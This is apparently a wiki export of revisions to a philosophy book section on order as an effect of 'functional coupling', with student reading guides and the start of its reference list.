coherence. Contrary to idealist conceptions, there is no plan to be fulfilled, only a plan that happens — and, in happening, already begins to unravel. Order, as ephemeral torsion of active materiality, should not be celebrated as perfection, but understood as one among many possible figures of immanence. More than that, it must be recognised as an interpretative function, not a property of the real. The universe does not “possess” order — it merely produces itself. Order is the name human consciousness assigns to certain material configurations which, by persisting long enough to be inscribed, allow for symbolic codification. This is, therefore, an anthropocosmic operation: in attempting to understand, the human projects upon the real a form of intelligibility that is always situated, partial, and functional. There is no “order” in the universe except as mediation — as an act of inscription upon that which does not offer itself as legible. What appears as order is not the world as it is, but the world as we manage to translate it — through perceptual and operative schemes that do not grasp totality, but only that which remains sufficiently stable to be spoken. In this sense, order is not substantive — it is adjectival. Not an attribute of being, but an effect of meaning emerging from a specific regime of material organisation crossed with a specific regime of symbolic reading. To think order, then, is not to recognise a hidden plan within the cosmos, but to expose the process through which certain material recurrences become nameable. Torsion, therefore, is the minimal figure of order — not its foundation, but its event, and also its interpretation. A fold without plan, a curvature of instability, an operation without guarantee, and a symbolic reading that transforms such an operation into intelligible form. And it is precisely this unstable and symbolic condition that renders order thinkable — not as promise of salvation, but as index of the potency of a real that never rests, but that, at times, allows us to believe it might. == 🜂 Reading Colloquium – Pedagogical Framing == (For students and readers in formation. This section does not replace the text — it accompanies it.) === 1. Placement of the Text within the Architecture of the Work === Section 3.3.1 rejected order as a principle placed before matter. This subsection provides the positive account that the rejection requires: order is a local configuration within an unstable field. Section 3.3.3 will then identify functional coupling as the mechanism through which such configurations acquire consistency. === 2. Philosophical Problem at Stake === If order is neither a transcendent plan nor a permanent foundation, how can it still be real? The difficulty disappears once material consistency is distinguished from permanence. A whirlpool is real even though it depends on the flow that sustains it; an ecosystem is organised even though its organisation changes with its relations. Order can therefore persist without becoming necessary. === 3. Core Thesis and Conceptual Reorganisation === The figure of torsion names a local inflection that endures while its enabling conditions continue. “Ephemeral” refers to this dependence, not to chronological brevity: a pattern lasting seconds and one lasting millions of years can share the same ontological status. The distinction matters. Duration changes the scale of observation; it does not convert a conditioned configuration into a foundation. === 4. Key Concepts and Their Articulation === The unstable field supplies the variations from which a torsion forms. Functional coupling gives that torsion local consistency. Ephemerality marks its dependence on conditions, while scale explains why the same regime can include both brief and very long-lived organisations. Symbolic legibility is a further operation: a material pattern may persist before a system recognises and names it as order. === 5. Implications for Readers and Pedagogical Pathways === Use the concept by asking three questions of any apparently stable system: which relations sustain it, at what scale does it appear stable, and what change would alter or dissolve that stability? The exercise avoids two opposite errors. Conditional order is neither eternal nor unreal; its fragility is part of its mode of existence. {{BookCat}} 3pjvl4vwkjeg9w6c6k7qx64nixvttqp 0 476980 4670746 4670265 2026-09-17T23:41:27Z DavidCota64 3507033 Correct canonical term: “Ontology of Emerging Complexity” → “Ontology of Emergent Complexity” 4670746 wikitext text/x-wiki '''3.3.3 - Order as an Effect of Functional Coupling''' Deepening the analysis of order within the Ontology of Emergent Complexity (OEC), it is essential to shift the focus from spontaneous emergence to the mechanisms that enable its persistent operativity. The concept of functional coupling allows us to understand order not as the manifestation of an essence or latent structure, but as a transient effect of trans-operatory compatibilities between divergent material instabilities. Functional coupling refers to the provisional articulation of heterogeneous processes that, through the crossing of operative thresholds, produce local zones of consistency. This definition shifts the focus from ontological foundation to functional operation: order arises as a localized consequence of the superposition of transiently effective material organizations, which, through functional coupling, produce provisionally consistent operative regimes. It is crucial to stress that order is neither given nor guaranteed: it emerges as a reversible correlation between mutually modulating instabilities. The stability of matter does not result from any latent structure or essential twist, but from the local emergence of transiently effective organizations. These organizations are not predefined, but constituted in response to excess—understood as a multiplicity of open conditions and interactions—from which matter experiments with possible modes of reorganization. In this regime of intelligibility, coupling is the mechanism by which transiently effective organizations of matter, through superposition, configure forms that exceed the mere sum of their parts—provisionally consistent structures that emerge without a plan, sustained by local compatibilities materially inscribed. The intersection of these unstable states becomes, in this context, the decisive ontological operator: there is no form without minimal operative coupling to sustain it. All visible stability results from a dynamic interweaving of incompatible flows that, through mutual modulation, produce a regime of functional consistency. Intelligibility, when it arises, emerges as a derivative effect of such operative efficacy—and not as an instance external to the very complexification of matter. This conception enters into dialogue with Gilbert Simondon, whose theory of individuation affirms that there are no pre-existing forms, but rather emergent crystallizations within a metastable milieu. However, while Simondon presupposes a pre-individual field as a transductive support, OEC radicalizes contingency: coupling emerges without a substrate—only through immanent reorganization stemming from the excess of operative possibilities enclosed within these regimes. It is essential to clearly distinguish between duration effect and ontological foundation. The duration of an organized structure does not imply essentiality: it merely reveals that, in that context, an effective coupling was sustained. To think of order as function—and not as substance—requires recognizing that every duration is always operative, not metaphysical. Consequently, the center of philosophical analysis shifts: from the ontology of essences to the ecology of conditions. What matters is not what order "is," but what it does and allows to be done. Epistemologically, it entails replacing the logic of origin with the logic of operativity: tracing the modes of compatibility between divergent material systems. Order thus ceases to be a passive concept and becomes a theoretical operator. This conception allows us to think of order as operative inscription rather than essential structure. As figure rather than plan. As result rather than promise. It arises from the crossing of operative thresholds and vanishes when such compatibility dissolves. Its legibility, when it emerges, is a function of specific conditions of inscription; its function is inseparable from its ephemerality. Order, therefore, does not ground the real—it is grounded by it. It arises as a material gesture, a transient coherence that, through coupling, acquires functional consistency and, eventually, visibility. To think order is to accept that the consistency of the world is not a static condition, but a continuous task, in which matter reorganizes itself according to localized modes of functioning. In this speculative regime, order is simultaneously effect and trace: the effect of a momentary functional convergence; the trace of a latent instability that never extinguishes. It does not announce an origin—it discloses a provisional composition. There is no stability without risk—and no order that is not the name we give to the gesture by which the unstable entangles itself with itself. Finally, it is necessary to reject any conception of order that attributes ontological value to it via symbolic legibility. The emergence of intelligibility—where it occurs—is neither universal nor necessary: it is a secondary effect of certain operative configurations endowed with inscriptional capacity. The universe does not "need" to be interpretable. Order, as a material function, precedes and is independent of the symbolic. Its existence does not depend on its naming—and it is this precedence of matter over meaning that the Ontology of Emergent Complexity affirms with rigor. == 🜂 Reading Colloquium – Pedagogical Framing   == (For students and readers in formation. This section does not replace the text — it accompanies it.) === 1. Placement of the Text within the Architecture of the Work === --- === 2. Philosophical Problem at Stake === --- === 3. Core Thesis and Conceptual Reorganization === --- === 4. Key Concepts and Their Articulation === --- === 5. Implications for Readers and Pedagogical Pathways === ---{{BookCat}} 3tjgx00sz5xnsdtzvvgzfuhiixa7jtq 4670789 4670746 2026-09-18T01:44:22Z DavidCota64 3507033 Use canonical terminology: operative and trans-operative 4670789 wikitext text/x-wiki '''3.3.3 - Order as an Effect of Functional Coupling''' Deepening the analysis of order within the Ontology of Emergent Complexity (OEC), it is essential to shift the focus from spontaneous emergence to the mechanisms that enable its persistent operativity. The concept of functional coupling allows us to understand order not as the manifestation of an essence or latent structure, but as a transient effect of trans-operative compatibilities between divergent material instabilities. Functional coupling refers to the provisional articulation of heterogeneous processes that, through the crossing of operative thresholds, produce local zones of consistency. This definition shifts the focus from ontological foundation to functional operation: order arises as a localized consequence of the superposition of transiently effective material organizations, which, through functional coupling, produce provisionally consistent operative regimes. It is crucial to stress that order is neither given nor guaranteed: it emerges as a reversible correlation between mutually modulating instabilities. The stability of matter does not result from any latent structure or essential twist, but from the local emergence of transiently effective organizations. These organizations are not predefined, but constituted in response to excess—understood as a multiplicity of open conditions and interactions—from which matter experiments with possible modes of reorganization. In this regime of intelligibility, coupling is the mechanism by which transiently effective organizations of matter, through superposition, configure forms that exceed the mere sum of their parts—provisionally consistent structures that emerge without a plan, sustained by local compatibilities materially inscribed. The intersection of these unstable states becomes, in this context, the decisive ontological operator: there is no form without minimal operative coupling to sustain it. All visible stability results from a dynamic interweaving of incompatible flows that, through mutual modulation, produce a regime of functional consistency. Intelligibility, when it arises, emerges as a derivative effect of such operative efficacy—and not as an instance external to the very complexification of matter. This conception enters into dialogue with Gilbert Simondon, whose theory of individuation affirms that there are no pre-existing forms, but rather emergent crystallizations within a metastable milieu. However, while Simondon presupposes a pre-individual field as a transductive support, OEC radicalizes contingency: coupling emerges without a substrate—only through immanent reorganization stemming from the excess of operative possibilities enclosed within these regimes. It is essential to clearly distinguish between duration effect and ontological foundation. The duration of an organized structure does not imply essentiality: it merely reveals that, in that context, an effective coupling was sustained. To think of order as function—and not as substance—requires recognizing that every duration is always operative, not metaphysical. Consequently, the center of philosophical analysis shifts: from the ontology of essences to the ecology of conditions. What matters is not what order "is," but what it does and allows to be done. Epistemologically, it entails replacing the logic of origin with the logic of operativity: tracing the modes of compatibility between divergent material systems. Order thus ceases to be a passive concept and becomes a theoretical operator. This conception allows us to think of order as operative inscription rather than essential structure. As figure rather than plan. As result rather than promise. It arises from the crossing of operative thresholds and vanishes when such compatibility dissolves. Its legibility, when it emerges, is a function of specific conditions of inscription; its function is inseparable from its ephemerality. Order, therefore, does not ground the real—it is grounded by it. It arises as a material gesture, a transient coherence that, through coupling, acquires functional consistency and, eventually, visibility. To think order is to accept that the consistency of the world is not a static condition, but a continuous task, in which matter reorganizes itself according to localized modes of functioning. In this speculative regime, order is simultaneously effect and trace: the effect of a momentary functional convergence; the trace of a latent instability that never extinguishes. It does not announce an origin—it discloses a provisional composition. There is no stability without risk—and no order that is not the name we give to the gesture by which the unstable entangles itself with itself. Finally, it is necessary to reject any conception of order that attributes ontological value to it via symbolic legibility. The emergence of intelligibility—where it occurs—is neither universal nor necessary: it is a secondary effect of certain operative configurations endowed with inscriptional capacity. The universe does not "need" to be interpretable. Order, as a material function, precedes and is independent of the symbolic. Its existence does not depend on its naming—and it is this precedence of matter over meaning that the Ontology of Emergent Complexity affirms with rigor. == 🜂 Reading Colloquium – Pedagogical Framing   == (For students and readers in formation. This section does not replace the text — it accompanies it.) === 1. Placement of the Text within the Architecture of the Work === --- === 2. Philosophical Problem at Stake === --- === 3. Core Thesis and Conceptual Reorganization === --- === 4. Key Concepts and Their Articulation === --- === 5. Implications for Readers and Pedagogical Pathways === ---{{BookCat}} m23mj12vxbn3931ppd62ewervqaigqc 4670811 4670789 2026-09-18T01:51:16Z DavidCota64 3507033 Complete the Reading Colloquium from the revised local pedagogical guide 4670811 wikitext text/x-wiki '''3.3.3 - Order as an Effect of Functional Coupling''' Deepening the analysis of order within the Ontology of Emergent Complexity (OEC), it is essential to shift the focus from spontaneous emergence to the mechanisms that enable its persistent operativity. The concept of functional coupling allows us to understand order not as the manifestation of an essence or latent structure, but as a transient effect of trans-operative compatibilities between divergent material instabilities. Functional coupling refers to the provisional articulation of heterogeneous processes that, through the crossing of operative thresholds, produce local zones of consistency. This definition shifts the focus from ontological foundation to functional operation: order arises as a localized consequence of the superposition of transiently effective material organizations, which, through functional coupling, produce provisionally consistent operative regimes. It is crucial to stress that order is neither given nor guaranteed: it emerges as a reversible correlation between mutually modulating instabilities. The stability of matter does not result from any latent structure or essential twist, but from the local emergence of transiently effective organizations. These organizations are not predefined, but constituted in response to excess—understood as a multiplicity of open conditions and interactions—from which matter experiments with possible modes of reorganization. In this regime of intelligibility, coupling is the mechanism by which transiently effective organizations of matter, through superposition, configure forms that exceed the mere sum of their parts—provisionally consistent structures that emerge without a plan, sustained by local compatibilities materially inscribed. The intersection of these unstable states becomes, in this context, the decisive ontological operator: there is no form without minimal operative coupling to sustain it. All visible stability results from a dynamic interweaving of incompatible flows that, through mutual modulation, produce a regime of functional consistency. Intelligibility, when it arises, emerges as a derivative effect of such operative efficacy—and not as an instance external to the very complexification of matter. This conception enters into dialogue with Gilbert Simondon, whose theory of individuation affirms that there are no pre-existing forms, but rather emergent crystallizations within a metastable milieu. However, while Simondon presupposes a pre-individual field as a transductive support, OEC radicalizes contingency: coupling emerges without a substrate—only through immanent reorganization stemming from the excess of operative possibilities enclosed within these regimes. It is essential to clearly distinguish between duration effect and ontological foundation. The duration of an organized structure does not imply essentiality: it merely reveals that, in that context, an effective coupling was sustained. To think of order as function—and not as substance—requires recognizing that every duration is always operative, not metaphysical. Consequently, the center of philosophical analysis shifts: from the ontology of essences to the ecology of conditions. What matters is not what order "is," but what it does and allows to be done. Epistemologically, it entails replacing the logic of origin with the logic of operativity: tracing the modes of compatibility between divergent material systems. Order thus ceases to be a passive concept and becomes a theoretical operator. This conception allows us to think of order as operative inscription rather than essential structure. As figure rather than plan. As result rather than promise. It arises from the crossing of operative thresholds and vanishes when such compatibility dissolves. Its legibility, when it emerges, is a function of specific conditions of inscription; its function is inseparable from its ephemerality. Order, therefore, does not ground the real—it is grounded by it. It arises as a material gesture, a transient coherence that, through coupling, acquires functional consistency and, eventually, visibility. To think order is to accept that the consistency of the world is not a static condition, but a continuous task, in which matter reorganizes itself according to localized modes of functioning. In this speculative regime, order is simultaneously effect and trace: the effect of a momentary functional convergence; the trace of a latent instability that never extinguishes. It does not announce an origin—it discloses a provisional composition. There is no stability without risk—and no order that is not the name we give to the gesture by which the unstable entangles itself with itself. Finally, it is necessary to reject any conception of order that attributes ontological value to it via symbolic legibility. The emergence of intelligibility—where it occurs—is neither universal nor necessary: it is a secondary effect of certain operative configurations endowed with inscriptional capacity. The universe does not "need" to be interpretable. Order, as a material function, precedes and is independent of the symbolic. Its existence does not depend on its naming—and it is this precedence of matter over meaning that the Ontology of Emergent Complexity affirms with rigor. == Reading Colloquium == ''This guide accompanies the argument; it does not replace it.'' === 1. Placement of the Text within the Architecture of the Work === This subsection introduces one of the framework's most important technical concepts: functional coupling. This is the mechanism by which order is produced — the process through which heterogeneous material organisations become articulable with one another, producing composite systems whose capacities exceed the sum of their parts. === 2. Philosophical Problem at Stake === The problem is how to describe organised wholes without appealing to a prior plan, a designer, or a teleological principle. Functional coupling identifies the local compatibility through which heterogeneous organisations affect and sustain one another under specific constraints. No appeal to chance alone or to an invisible coordinator is required. === 3. Core Thesis and Conceptual Reorganisation === Functional coupling is local because it joins determinate configurations under determinate conditions. It is provisional because persistence depends on the continued operation of those relations. Some couplings generate capacities unavailable to their components in isolation; others merely sustain an existing organisation. The concept therefore directs attention towards ongoing articulation rather than a structure presumed to be fixed. === 4. Key Concepts and Their Articulation === Functional coupling, the distinction between coupling and structure, the productivity of coupling (emergent capacities), and the dependence of coupling on material conditions. === 5. Implications for Readers and Pedagogical Pathways === This concept is central to the entire OEC and recurs throughout the book. Readers should apply it widely: biological organisms are systems of functional couplings; institutions are systems of functional couplings; ecosystems, technologies, and symbolic systems are all sustained by functional couplings. Understanding this concept is a prerequisite for understanding the rest of the ontology. {{BookCat}} hqi05g2c7va9jay5rtkixta0nqv6gyf 4670836 4670811 2026-09-18T02:01:45Z DavidCota64 3507033 Use British English consistently in prose and pedagogical headings 4670836 wikitext text/x-wiki '''3.3.3 - Order as an Effect of Functional Coupling''' Deepening the analysis of order within the Ontology of Emergent Complexity (OEC), it is essential to shift the focus from spontaneous emergence to the mechanisms that enable its persistent operativity. The concept of functional coupling allows us to understand order not as the manifestation of an essence or latent structure, but as a transient effect of trans-operative compatibilities between divergent material instabilities. Functional coupling refers to the provisional articulation of heterogeneous processes that, through the crossing of operative thresholds, produce local zones of consistency. This definition shifts the focus from ontological foundation to functional operation: order arises as a localized consequence of the superposition of transiently effective material organizations, which, through functional coupling, produce provisionally consistent operative regimes. It is crucial to stress that order is neither given nor guaranteed: it emerges as a reversible correlation between mutually modulating instabilities. The stability of matter does not result from any latent structure or essential twist, but from the local emergence of transiently effective organizations. These organizations are not predefined, but constituted in response to excess—understood as a multiplicity of open conditions and interactions—from which matter experiments with possible modes of reorganisation. In this regime of intelligibility, coupling is the mechanism by which transiently effective organizations of matter, through superposition, configure forms that exceed the mere sum of their parts—provisionally consistent structures that emerge without a plan, sustained by local compatibilities materially inscribed. The intersection of these unstable states becomes, in this context, the decisive ontological operator: there is no form without minimal operative coupling to sustain it. All visible stability results from a dynamic interweaving of incompatible flows that, through mutual modulation, produce a regime of functional consistency. Intelligibility, when it arises, emerges as a derivative effect of such operative efficacy—and not as an instance external to the very complexification of matter. This conception enters into dialogue with Gilbert Simondon, whose theory of individuation affirms that there are no pre-existing forms, but rather emergent crystallizations within a metastable milieu. However, while Simondon presupposes a pre-individual field as a transductive support, OEC radicalizes contingency: coupling emerges without a substrate—only through immanent reorganisation stemming from the excess of operative possibilities enclosed within these regimes. It is essential to clearly distinguish between duration effect and ontological foundation. The duration of an organized structure does not imply essentiality: it merely reveals that, in that context, an effective coupling was sustained. To think of order as function—and not as substance—requires recognizing that every duration is always operative, not metaphysical. Consequently, the centre of philosophical analysis shifts: from the ontology of essences to the ecology of conditions. What matters is not what order "is," but what it does and allows to be done. Epistemologically, it entails replacing the logic of origin with the logic of operativity: tracing the modes of compatibility between divergent material systems. Order thus ceases to be a passive concept and becomes a theoretical operator. This conception allows us to think of order as operative inscription rather than essential structure. As figure rather than plan. As result rather than promise. It arises from the crossing of operative thresholds and vanishes when such compatibility dissolves. Its legibility, when it emerges, is a function of specific conditions of inscription; its function is inseparable from its ephemerality. Order, therefore, does not ground the real—it is grounded by it. It arises as a material gesture, a transient coherence that, through coupling, acquires functional consistency and, eventually, visibility. To think order is to accept that the consistency of the world is not a static condition, but a continuous task, in which matter reorganizes itself according to localized modes of functioning. In this speculative regime, order is simultaneously effect and trace: the effect of a momentary functional convergence; the trace of a latent instability that never extinguishes. It does not announce an origin—it discloses a provisional composition. There is no stability without risk—and no order that is not the name we give to the gesture by which the unstable entangles itself with itself. Finally, it is necessary to reject any conception of order that attributes ontological value to it via symbolic legibility. The emergence of intelligibility—where it occurs—is neither universal nor necessary: it is a secondary effect of certain operative configurations endowed with inscriptional capacity. The universe does not "need" to be interpretable. Order, as a material function, precedes and is independent of the symbolic. Its existence does not depend on its naming—and it is this precedence of matter over meaning that the Ontology of Emergent Complexity affirms with rigor. == Reading Colloquium == ''This guide accompanies the argument; it does not replace it.'' === 1. Placement of the Text within the Architecture of the Work === This subsection introduces one of the framework's most important technical concepts: functional coupling. This is the mechanism by which order is produced — the process through which heterogeneous material organisations become articulable with one another, producing composite systems whose capacities exceed the sum of their parts. === 2. Philosophical Problem at Stake === The problem is how to describe organised wholes without appealing to a prior plan, a designer, or a teleological principle. Functional coupling identifies the local compatibility through which heterogeneous organisations affect and sustain one another under specific constraints. No appeal to chance alone or to an invisible coordinator is required. === 3. Core Thesis and Conceptual Reorganisation === Functional coupling is local because it joins determinate configurations under determinate conditions. It is provisional because persistence depends on the continued operation of those relations. Some couplings generate capacities unavailable to their components in isolation; others merely sustain an existing organisation. The concept therefore directs attention towards ongoing articulation rather than a structure presumed to be fixed. === 4. Key Concepts and Their Articulation === Functional coupling, the distinction between coupling and structure, the productivity of coupling (emergent capacities), and the dependence of coupling on material conditions. === 5. Implications for Readers and Pedagogical Pathways === This concept is central to the entire OEC and recurs throughout the book. Readers should apply it widely: biological organisms are systems of functional couplings; institutions are systems of functional couplings; ecosystems, technologies, and symbolic systems are all sustained by functional couplings. Understanding this concept is a prerequisite for understanding the rest of the ontology. {{BookCat}} eqhf3854tccw9g3ggp8tcbtxs02rap0 0 476981 4670816 4670197 2026-09-18T01:54:48Z DavidCota64 3507033 Rebuild Part VII with pedagogical maps, audited references, and guided reading routes 4670816 wikitext text/x-wiki == References == This consolidated list records the works cited in the book. It is ordered alphabetically and should be used together with [[/7.1 – Philosophical Interlocutors/|7.1]] and [[/7.2 – Conceptual Sources/|7.2]], which explain how the principal authors and problem fields function in the argument. * Adorno, Theodor W., and Max Horkheimer. (1944) 2002. ''Dialectic of Enlightenment: Philosophical Fragments''. Translated by Edmund Jephcott. Stanford, CA: Stanford University Press. * Agamben, Giorgio. (1998) 1999. ''Remnants of Auschwitz: The Witness and the Archive''. Translated by Daniel Heller-Roazen. New York: Zone Books. * Anzaldúa, Gloria. 1987. ''Borderlands/La Frontera: The New Mestiza''. San Francisco: Aunt Lute Books. * Aquinas, Thomas. (1265–1274) 1948. ''Summa Theologica''. Translated by the Fathers of the English Dominican Province. 5 vols. New York: Benziger Brothers. * Aristotle. 1984a. ''Metaphysics''. In ''The Complete Works of Aristotle'', edited by Jonathan Barnes. Princeton: Princeton University Press. * Aristotle. 1984b. ''Physics''. Translated by R. P. Hardie and R. K. Gaye. In ''The Complete Works of Aristotle'', edited by Jonathan Barnes. Princeton: Princeton University Press. * Augustine. 2003. ''The City of God''. Translated by Henry Bettenson. London: Penguin Classics. * Bachelard, Gaston. (1938) 2002. ''The Formation of the Scientific Mind''. Translated by Mary McAllester Jones. Manchester: Clinamen Press. * Barabási, Albert-László. 2002. ''Linked: The New Science of Networks''. Cambridge, MA: Perseus Publishing. * Barad, Karen. 2007. ''Meeting the Universe Halfway: Quantum Physics and the Entanglement of Matter and Meaning''. Durham, NC: Duke University Press. * Benjamin, Walter. 1999. ''The Arcades Project''. Translated by Howard Eiland and Kevin McLaughlin. Cambridge, MA: Harvard University Press. * Bennett, Jane. 2010. ''Vibrant Matter: A Political Ecology of Things''. Durham, NC: Duke University Press. * Bergson, Henri. 1911. ''Creative Evolution''. Translated by Arthur Mitchell. New York: Henry Holt. * Bertalanffy, Ludwig von. 1968. ''General System Theory: Foundations, Development, Applications''. New York: George Braziller. * Bostrom, Nick. 2014. ''Superintelligence: Paths, Dangers, Strategies''. Oxford: Oxford University Press. * Butler, Judith. 1990. ''Gender Trouble: Feminism and the Subversion of Identity''. New York: Routledge. * Butler, Judith. 2004. ''Precarious Life: The Powers of Mourning and Violence''. London: Verso. * Butler, Judith. 2005. ''Giving an Account of Oneself''. New York: Fordham University Press. * Canguilhem, Georges. 1966. ''Le normal et le pathologique''. Paris: Presses Universitaires de France. * Cartwright, Nancy. 1999. ''The Dappled World: A Study of the Boundaries of Science''. Cambridge: Cambridge University Press. * Coole, Diana, and Samantha Frost, eds. 2010. ''New Materialisms: Ontology, Agency, and Politics''. Durham, NC: Duke University Press. * DeLanda, Manuel. 2002. ''Intensive Science and Virtual Philosophy''. London: Continuum. * DeLanda, Manuel. 2006. ''A New Philosophy of Society: Assemblage Theory and Social Complexity''. London: Continuum. * Deleuze, Gilles. (1968) 1994. ''Difference and Repetition''. Translated by Paul Patton. New York: Columbia University Press. * Deleuze, Gilles, and Félix Guattari. 1994. ''What Is Philosophy?'' Translated by Hugh Tomlinson and Graham Burchell. New York: Columbia University Press. * Derrida, Jacques. (1967) 1997. ''Of Grammatology''. Corrected ed. Translated by Gayatri Chakravorty Spivak. Baltimore: Johns Hopkins University Press. * Derrida, Jacques. 1982. ''Margins of Philosophy''. Translated by Alan Bass. Chicago: University of Chicago Press. * Derrida, Jacques. 1990. “Force of Law: The ‘Mystical Foundation of Authority.’” ''Cardozo Law Review'' 11: 919–1045. * Derrida, Jacques. 1995. ''Archive Fever: A Freudian Impression''. Translated by Eric Prenowitz. Chicago: University of Chicago Press. * Descartes, René. 1985. ''Principia Philosophiae''. In ''The Philosophical Writings of Descartes, Volume 1'', translated by John Cottingham, Robert Stoothoff, and Dugald Murdoch. Cambridge: Cambridge University Press. * Descartes, René. 1996. ''Meditations on First Philosophy''. Translated by John Cottingham. Cambridge: Cambridge University Press. * Fanon, Frantz. (1952) 2008. ''Black Skin, White Masks''. Translated by Richard Philcox. New York: Grove Press. * Ferreira da Silva, Denise. 2007. ''Toward a Global Idea of Race''. Minneapolis: University of Minnesota Press. * Foucault, Michel. (1966) 1970. ''The Order of Things: An Archaeology of the Human Sciences''. New York: Pantheon Books. * Foucault, Michel. 1972. ''The Archaeology of Knowledge''. Translated by A. M. Sheridan Smith. New York: Pantheon Books. * Foucault, Michel. (1975) 1977a. ''Discipline and Punish: The Birth of the Prison''. Translated by Alan Sheridan. New York: Pantheon Books. * Foucault, Michel. 1977b. “Nietzsche, Genealogy, History.” In ''Language, Counter-Memory, Practice: Selected Essays and Interviews'', edited by Donald F. Bouchard, 139–164. Ithaca, NY: Cornell University Press. * Freeman, Kathleen. 1949. ''The Pre-Socratic Philosophers: A Companion to Diels, Fragmente der Vorsokratiker''. Cambridge, MA: Harvard University Press. * Freud, Sigmund. 1920. ''Beyond the Pleasure Principle''. Translated by James Strachey. London: Hogarth Press. * Frigg, Roman, and James Nguyen. 2020. ''Modelling Nature: An Opinionated Introduction to Scientific Representation''. Cham: Springer. * Gadamer, Hans-Georg. (1960) 2004. ''Truth and Method''. 2nd rev. ed. Translated by Joel Weinsheimer and Donald G. Marshall. London: Continuum. * Gilligan, Carol. 1982. ''In a Different Voice: Psychological Theory and Women’s Development''. Cambridge, MA: Harvard University Press. * Glissant, Édouard. (1990) 1997. ''Poetics of Relation''. Translated by Betsy Wing. Ann Arbor: University of Michigan Press. * Gould, Stephen Jay. 1996. ''Full House: The Spread of Excellence from Plato to Darwin''. New York: Harmony Books. * Hacking, Ian. 1983. ''Representing and Intervening: Introductory Topics in the Philosophy of Natural Science''. Cambridge: Cambridge University Press. * Harari, Yuval Noah. 2016. ''Homo Deus: A Brief History of Tomorrow''. London: Harvill Secker. * Haraway, Donna J. 2016. ''Staying with the Trouble: Making Kin in the Chthulucene''. Durham, NC: Duke University Press. * Harman, Graham. 2011. ''The Quadruple Object''. Winchester: Zero Books. * Hegel, G. W. F. (1812–1816) 1969. ''Science of Logic''. Translated by A. V. Miller. London: George Allen & Unwin. * Hegel, G. W. F. (1807) 1977. ''Phenomenology of Spirit''. Translated by A. V. Miller. Oxford: Oxford University Press. * Heidegger, Martin. (1927) 1962. ''Being and Time''. Translated by John Macquarrie and Edward Robinson. Oxford: Blackwell. * Heidegger, Martin. (1957) 1969. ''Identity and Difference''. Translated by Joan Stambaugh. New York: Harper & Row. * Heidegger, Martin. 1971. ''On the Way to Language''. Translated by Peter D. Hertz. New York: Harper & Row. * Heidegger, Martin. 2002. ''Off the Beaten Track''. Cambridge: Cambridge University Press. * Kant, Immanuel. (1781) 1998. ''Critique of Pure Reason''. Translated and edited by Paul Guyer and Allen W. Wood. Cambridge: Cambridge University Press. * Kant, Immanuel. (1785) 1998. ''Groundwork of the Metaphysics of Morals''. Translated and edited by Mary Gregor. Cambridge: Cambridge University Press. * Kant, Immanuel. 2002. ''Critique of Practical Reason''. Translated by Mary Gregor. Cambridge: Cambridge University Press. * Kauffman, Stuart. 1993. ''The Origins of Order: Self-Organization and Selection in Evolution''. Oxford: Oxford University Press. * Kauffman, Stuart. 1995. ''At Home in the Universe: The Search for the Laws of Self-Organization and Complexity''. Oxford: Oxford University Press. * Kirk, G. S., and J. E. Raven. 1957. ''The Presocratic Philosophers: A Critical History with a Selection of Texts''. Cambridge: Cambridge University Press. * Kletetschka, Gunther. 2025. “Three-Dimensional Time: A Mathematical Framework for Fundamental Physics.” ''Reports in Advances of Physical Sciences'' 9: 2550004. * Kohn, Eduardo. 2013. ''How Forests Think: Toward an Anthropology Beyond the Human''. Berkeley: University of California Press. * Kolmogorov, A. N. 1965. “Three Approaches to the Quantitative Definition of Information.” ''Problems of Information Transmission'' 1 (1): 1–7. * Kuhn, Thomas S. 1962. ''The Structure of Scientific Revolutions''. Chicago: University of Chicago Press. * Lacan, Jacques. 1981. ''The Four Fundamental Concepts of Psychoanalysis''. Translated by Alan Sheridan. New York: W. W. Norton. * Lacan, Jacques. (1966) 2001. ''Écrits: A Selection''. Translated by Alan Sheridan. London: Routledge. * Ladyman, James, and Don Ross. 2007. ''Every Thing Must Go: Metaphysics Naturalized''. Oxford: Oxford University Press. * Laruelle, François. 1996. ''Principes de la non-philosophie''. Paris: Presses Universitaires de France. * Latour, Bruno. 2005. ''Reassembling the Social: An Introduction to Actor-Network-Theory''. Oxford: Oxford University Press. * Leibniz, Gottfried Wilhelm. 1989. ''Philosophical Essays''. Edited and translated by Roger Ariew and Daniel Garber. Indianapolis: Hackett Publishing. * Levinas, Emmanuel. (1961) 1969. ''Totality and Infinity: An Essay on Exteriority''. Translated by Alphonso Lingis. Pittsburgh: Duquesne University Press. * Levinas, Emmanuel. (1974) 1998. ''Otherwise than Being, or Beyond Essence''. Translated by Alphonso Lingis. Pittsburgh: Duquesne University Press. * Margulis, Lynn. 1970. ''Origin of Eukaryotic Cells''. New Haven: Yale University Press. * Marx, Karl. (1867) 1990. ''Capital: A Critique of Political Economy, Volume One''. Translated by Ben Fowkes. London: Penguin Classics. * Mayr, Ernst. 1988. ''Toward a New Philosophy of Biology: Observations of an Evolutionist''. Cambridge, MA: Harvard University Press. * Mayr, Ernst. 1997. ''This Is Biology: The Science of the Living World''. Cambridge, MA: Harvard University Press. * Mbembe, Achille. 2003. “Necropolitics.” ''Public Culture'' 15 (1): 11–40. * Mbembe, Achille. 2013. ''Critique of Black Reason''. Translated by Laurent Dubois. Durham, NC: Duke University Press. * Meillassoux, Quentin. (2006) 2008. ''After Finitude: An Essay on the Necessity of Contingency''. Translated by Ray Brassier. London: Continuum. * Merleau-Ponty, Maurice. 1962. ''Phenomenology of Perception''. Translated by Colin Smith. London: Routledge. * Merleau-Ponty, Maurice. 1964. ''Le visible et l’invisible''. Paris: Gallimard. * Monod, Jacques. 1971. ''Chance and Necessity: An Essay on the Natural Philosophy of Modern Biology''. Translated by Austryn Wainhouse. New York: Alfred A. Knopf. * Morin, Edgar. 1980. ''La Méthode II: La Vie de la Vie''. Paris: Seuil. * Morin, Edgar. (1990) 2008. ''On Complexity''. Translated by Sean Kelly. Cresskill, NJ: Hampton Press. * Moten, Fred. 2003. ''In the Break: The Aesthetics of the Black Radical Tradition''. Minneapolis: University of Minnesota Press. * Mouffe, Chantal. 2005. ''On the Political''. London: Routledge. * Nancy, Jean-Luc. 1991. ''The Inoperative Community''. Translated by Peter Connor. Minneapolis: University of Minnesota Press. * Nancy, Jean-Luc. 2007. ''Listening''. Translated by Charlotte Mandell. New York: Fordham University Press. * Nietzsche, Friedrich. 2006. ''Thus Spoke Zarathustra''. Translated by Graham Parkes. Oxford: Oxford University Press. * Noddings, Nel. 2003. ''Caring: A Relational Approach to Ethics and Moral Education''. 2nd ed. Berkeley: University of California Press. * Plato. 1997. ''Complete Works''. Edited by John M. Cooper. Indianapolis: Hackett 